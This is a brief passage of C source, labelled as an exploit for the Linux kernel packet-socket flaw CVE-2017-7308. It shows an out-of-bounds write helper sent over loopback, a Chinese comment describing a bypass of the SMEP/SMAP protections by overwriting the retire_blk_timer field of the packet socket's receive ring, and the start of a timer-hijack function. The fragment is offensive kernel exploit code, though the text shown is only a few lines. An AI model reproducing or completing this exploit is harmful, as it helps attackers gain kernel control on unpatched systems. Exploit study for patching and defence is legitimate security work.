Function oob_write

CVE-2017-7308/exploit.c:199–201

}

void oob_write(char *buffer, int size) {
	loopback_send(buffer, size);
}
// (1) 绕过SMEP/SMAP: 覆盖 packet_sock->rx_ring->prb_bdqc->retire_blk_timer
void oob_timer_execute(void *func, unsigned long arg) {
	oob_setup(2048 + TIMER_OFFSET - 8);